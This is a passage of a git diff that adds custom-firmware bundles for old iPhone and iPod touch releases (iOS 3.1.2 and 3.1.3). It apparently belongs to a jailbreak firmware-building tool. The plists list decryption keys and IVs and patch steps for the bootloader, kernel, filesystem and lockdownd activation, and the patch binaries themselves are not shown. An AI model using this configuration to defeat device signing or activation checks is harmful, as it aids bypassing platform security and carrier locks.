b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/lockdownd.patch new file mode 100644 index 0000000..8d96133 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..d071226 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,217 @@ + + + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7270.20091008.phn32/iPhone2,1_3.1.2_7D11_Restore.ipsw + Filename + iPhone2,1_3.1.2_7D11_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8920x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8920x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n88ap.production/applelogo.s5l8920x.img3 + IV + b7919f6257055d54af8c66c9e90a7bb4 + Key + e9747be8a1554fe6482cd356c79be875a49c2580101dd2a754d8cc2ec1332f1c + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8920x + IV + c79a81ea8d7c17d2cb29c545c5c36a9a + Key + 90f51a8324658e4abf5e8c36c6b6b40e9e97a5c5d2d3799d8ff435c2ee61d9b6 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n88ap.production/LLB.n88ap.RELEASE.img3 + IV + 2353b10ef807d9e5b3e199a896e08ee8 + IsPlain + + Key + 792572607768dcc2cb73b3c5f429e331bf507ba35505588d085c40f4d9d1287a + Patch + LLB.n88ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n88ap.production/recoverymode.s5l8920x.img3 + IV + 4326f638dc439616514280750f764d95 + Key + 225ed65a6fb7b3a3cb985b73b3de835f0e9c2e55dec4d1377e3d9942b84c35ba + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6051-014.dmg + IV + fd19726dc6b555b6bb4dbbcd91d1e7c0 + Key + fb2792b935fb9cd183341cb24539376556f8b7b8f887eb90fcebaa0daf2d6d9c + TypeFlag + 8 + + Update Ramdisk + + File + 018-6049-015.dmg + IV + 6f44e621edcba2a4e7d4f20320712480 + Key + 8cd89776f98c3de1d5ae1c936764e0c51eb1db7cd277d4261f6cde813cba970d + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n88ap.RELEASE.dfu + IV + f9aac54a68b2fad383ca759057ad13df + Key + ec66b545ca47dc353f3f7595a80ffa74d54ca5bf586cfe769d70d117bf196073 + Patch + iBEC.n88ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n88ap.RELEASE.dfu + IV + 41639d34547ae3dd7921bf3539dba529 + Key + 9121de4a038675d92e1a28683b2138b7a3bdb80994273d090398051c7f5af53c + Patch + iBSS.n88ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + 7A341 + iBoot.7A341.patch + 7A400 + iBoot.7A400.patch + 7C144 + iBoot.7C144.patch + 7D11 + iBoot.7D11.patch + File + Firmware/all_flash/all_flash.n88ap.production/iBoot.n88ap.RELEASE.img3 + IV + 127aa60e77da219961ee70707f44cbd4 + Key + c72ab4aae971f3a9ec356dfe555e4aef72d8e96c480698445ac236904e6a3443 + Patch + iBoot.n88ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone2,1_3.1.2_7D11 + Platform + 3 + PreInstalledPackages + + org.saurik.cydia + com.ripdev.icy + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6029-014.dmg + RootFilesystemKey + 47D76295817F74953F8E557B4917FE2201E9778A9900E43FBF311A83F176FE521B996A4B + RootFilesystemMountVolume + Northstar7D11.N88OS + RootFilesystemSize + 540 + SHA1 + 6998bb7d9e869b2d89a08853312f9457d070fb1f + SubPlatform + 4 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/LLB.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/LLB.n88ap.RELEASE.patch new file mode 100644 index 0000000..b14199e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/LLB.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Services.patch new file mode 100644 index 0000000..57108ca Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/asr.patch new file mode 100644 index 0000000..6632628 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBEC.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBEC.n88ap.RELEASE.patch new file mode 100644 index 0000000..d592883 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBEC.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBSS.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBSS.n88ap.RELEASE.patch new file mode 100644 index 0000000..4780165 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBSS.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A341.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A341.patch new file mode 100644 index 0000000..b1f19ae Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A341.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A400.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A400.patch new file mode 100644 index 0000000..b1f19ae Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7A400.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7C144.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7C144.patch new file mode 100644 index 0000000..33c5b2c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7C144.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7D11.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7D11.patch new file mode 100644 index 0000000..8423c4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.7D11.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.n88ap.RELEASE.patch new file mode 100644 index 0000000..cf36aaa Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/iBoot.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..832d023 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/lockdownd.patch new file mode 100644 index 0000000..7045fa6 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.2_7D11.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..4ce661e --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,205 @@ + + + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7472.20100202.8tugj/iPhone2,1_3.1.3_7E18_Restore.ipsw + Filename + iPhone2,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8920x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8920x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n88ap.production/applelogo.s5l8920x.img3 + IV + 106f935de2be3fcc56fc018124b6799b + Key + f662084d788a33650f441451106a6b628051fc7f7697a0eb6948abcf3d151a15 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8920x + IV + 1d269ab89cb5d86caf9c24927be9a04b + Key + cb626d43047477c2f376def673ed8c226b6b2f180ee65f7c2997b666273d695e + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n88ap.production/LLB.n88ap.RELEASE.img3 + IV + 5a4ff7c0cf5a572da1fae3877ee93887 + IsPlain + + Key + bc0e2288181b9e7b7759d350c5dfbd5c9863de737b4ec2dc7451add756712fec + Patch + LLB.n88ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n88ap.production/recoverymode.s5l8920x.img3 + IV + dbb1c221ba6ab75676f1d0186bfcceee + Key + c6ace9331cfeb4951ccdeb21fc47ec04dee3f6ed06c72edecd73caec58c4fd1b + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6495-022.dmg + IV + 50a5d7418e3091a2c1d878495a6dbc6a + Key + 217c7c38387264f2a2fef7a661d1bbeb705e7c90581c5b73055fe44f5bbc0498 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n88ap.RELEASE.dfu + IV + 5483202e320c6a272ae27591ff67f4bc + Key + ec15d959432b44355fd0c043f570b09c9fe62ad069db554cc20359322ea76d77 + Patch + iBEC.n88ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n88ap.RELEASE.dfu + IV + bb70b0109c0f6a323dba00df5806b111 + Key + a95c62b3665493c92eebf3d471ea5949827fd9aab4248cd99d66bc2edf7ac4fe + Patch + iBSS.n88ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + 7A341 + iBoot.7A341.patch + 7A400 + iBoot.7A400.patch + 7C144 + iBoot.7C144.patch + 7D11 + iBoot.7D11.patch + File + Firmware/all_flash/all_flash.n88ap.production/iBoot.n88ap.RELEASE.img3 + IV + 5ff65ada6a48ea38adad2df3390d64ac + Key + 88d0a0c2f05f3e54168eef00eed7958467503a204619be95dccca4606f857b2a + Patch + iBoot.n88ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone2,1_3.1.3_7E18 + Platform + 3 + PreInstalledPackages + + org.saurik.cydia + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6483-022.dmg + RootFilesystemKey + 9B3FD35BAD7D5307D85CE4B38B8E56BD680EF5A72A8F3B615F8D4F16C14BDCF3C3B24C6C + RootFilesystemMountVolume + SUNorthstarTwo7E18.N88OS + RootFilesystemSize + 530 + SHA1 + 8cb3775e62c6f72059a962bf891b4e145b965052 + SubPlatform + 4 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/LLB.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/LLB.n88ap.RELEASE.patch new file mode 100644 index 0000000..42846db Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/LLB.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Services.patch new file mode 100644 index 0000000..57108ca Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/asr.patch new file mode 100644 index 0000000..665d2cd Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBEC.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBEC.n88ap.RELEASE.patch new file mode 100644 index 0000000..6868288 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBEC.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBSS.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBSS.n88ap.RELEASE.patch new file mode 100644 index 0000000..30f1a8e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBSS.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A341.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A341.patch new file mode 100644 index 0000000..e4af721 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A341.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A400.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A400.patch new file mode 100644 index 0000000..e4af721 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7A400.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7C144.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7C144.patch new file mode 100644 index 0000000..3e7ebbe Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7C144.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7D11.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7D11.patch new file mode 100644 index 0000000..3d4bd61 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.7D11.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.n88ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.n88ap.RELEASE.patch new file mode 100644 index 0000000..5d169fd Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/iBoot.n88ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/kernelcache.release.patch new file mode 100644 index 0000000..832d023 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/lockdownd.patch new file mode 100644 index 0000000..f59244f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone2,1_3.1.3_7E18.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..f3c17e0 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,198 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod1,1_3.1.2_7D11_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n45ap.production/applelogo.s5l8900x.img3 + IV + 677b4c711e3cacb72505feae8e1eae5d + Key + 1fb738d6c091113d7dfdd89864a718d9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 25b7f586d184c329d3d05953a6516a36 + Key + dd03b5b52a53d3582b18a0052ef84038 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n45ap.production/LLB.n45ap.RELEASE.img3 + Patch + LLB.n45ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n45ap.production/recoverymode.s5l8900x.img3 + IV + dbf44c3cc2944b87bdecdbdcd8e42b82 + Key + 6d7d035c04c60ab2776a5e7c729daf0a + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6136-014.dmg + IV + 0e128e1f69806afc476b73250908d641 + Key + 6a4db11073eb748bad1fabafb066fe13 + TypeFlag + 8 + + Update Ramdisk + + File + 018-6134-014.dmg + IV + dc2c487fd5ce7d89c2fcfbec5846f40f + Key + 998aa71f7816e979697b2d4b25e6a8a0 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.n45ap.RELEASE.dfu + Patch + WTF.n45ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n45ap.RELEASE.dfu + Patch + iBEC.n45ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n45ap.RELEASE.dfu + Patch + iBSS.n45ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n45ap.production/iBoot.n45ap.RELEASE.img3 + IV + 5577e4fab20c35c8c5a2873e057b4e10 + Key + 3fba036b25ff4f70d7efd479dca06d99 + Patch + iBoot.n45ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod1,1_3.1.2_7D11 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + com.ripdev.icy + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6132-014.dmg + RootFilesystemKey + C382A5CEFA91B7163AD6F80BF82F9894BC3C185BCB9138AD53C1D7414FC7C20FD95D444B + RootFilesystemMountVolume + Northstar7D11.N45OS + RootFilesystemSize + 490 + SHA1 + 7367dd9ba58a3b9777307368a0128e696fdfc9a6 + + diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/LLB.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/LLB.n45ap.RELEASE.patch new file mode 100644 index 0000000..86d8210 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/LLB.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.n45ap.RELEASE.patch new file mode 100644 index 0000000..e796b27 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..91a0b93 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBEC.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBEC.n45ap.RELEASE.patch new file mode 100644 index 0000000..e796b27 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBEC.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBSS.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBSS.n45ap.RELEASE.patch new file mode 100644 index 0000000..8f3f8d0 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBSS.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBoot.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBoot.n45ap.RELEASE.patch new file mode 100644 index 0000000..c078c17 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/iBoot.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e0d5f52 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..14b3a1b --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,186 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod1,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n45ap.production/applelogo.s5l8900x.img3 + IV + 29900b1381b112bc6ca157b8d5e533fb + Key + f991b79dc86f1ed7d997785b4e93c0b9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 31e711201cf4dcf47be5be2a5b1b87a1 + Key + d0dfac22c03212f8a75fc9c69fe548b6 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n45ap.production/LLB.n45ap.RELEASE.img3 + Patch + LLB.n45ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n45ap.production/recoverymode.s5l8900x.img3 + IV + 1df103ab51af7ad9f8488d9e3b9edf11 + Key + 72e3360fae2d22252f497bd08d060d83 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6494-014.dmg + IV + 25e713dd5663badebe046d0ffa164fee + Key + 7029389c2dadaaa1d1e51bf579493824 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.n45ap.RELEASE.dfu + Patch + WTF.n45ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n45ap.RELEASE.dfu + Patch + iBEC.n45ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n45ap.RELEASE.dfu + Patch + iBSS.n45ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n45ap.production/iBoot.n45ap.RELEASE.img3 + IV + 9a1e756768c29932460b2996315de82b + Key + 6f0728e07f3591394a51c780476b52f5 + Patch + iBoot.n45ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod1,1_3.1.3_7E18 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6539-012.dmg + RootFilesystemKey + 467E695041D01E3F58886314BFE70C9B89A7F0C09D6622931F57D1CFA1F7ABD9C307563A + RootFilesystemMountVolume + SUNorthstarTwo7E18.N45OS + RootFilesystemSize + 413 + SHA1 + 5f897990f19d2f093b35e0813d7d77806404fb1f + + diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/LLB.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/LLB.n45ap.RELEASE.patch new file mode 100644 index 0000000..3722677 Binary files /dev/null and 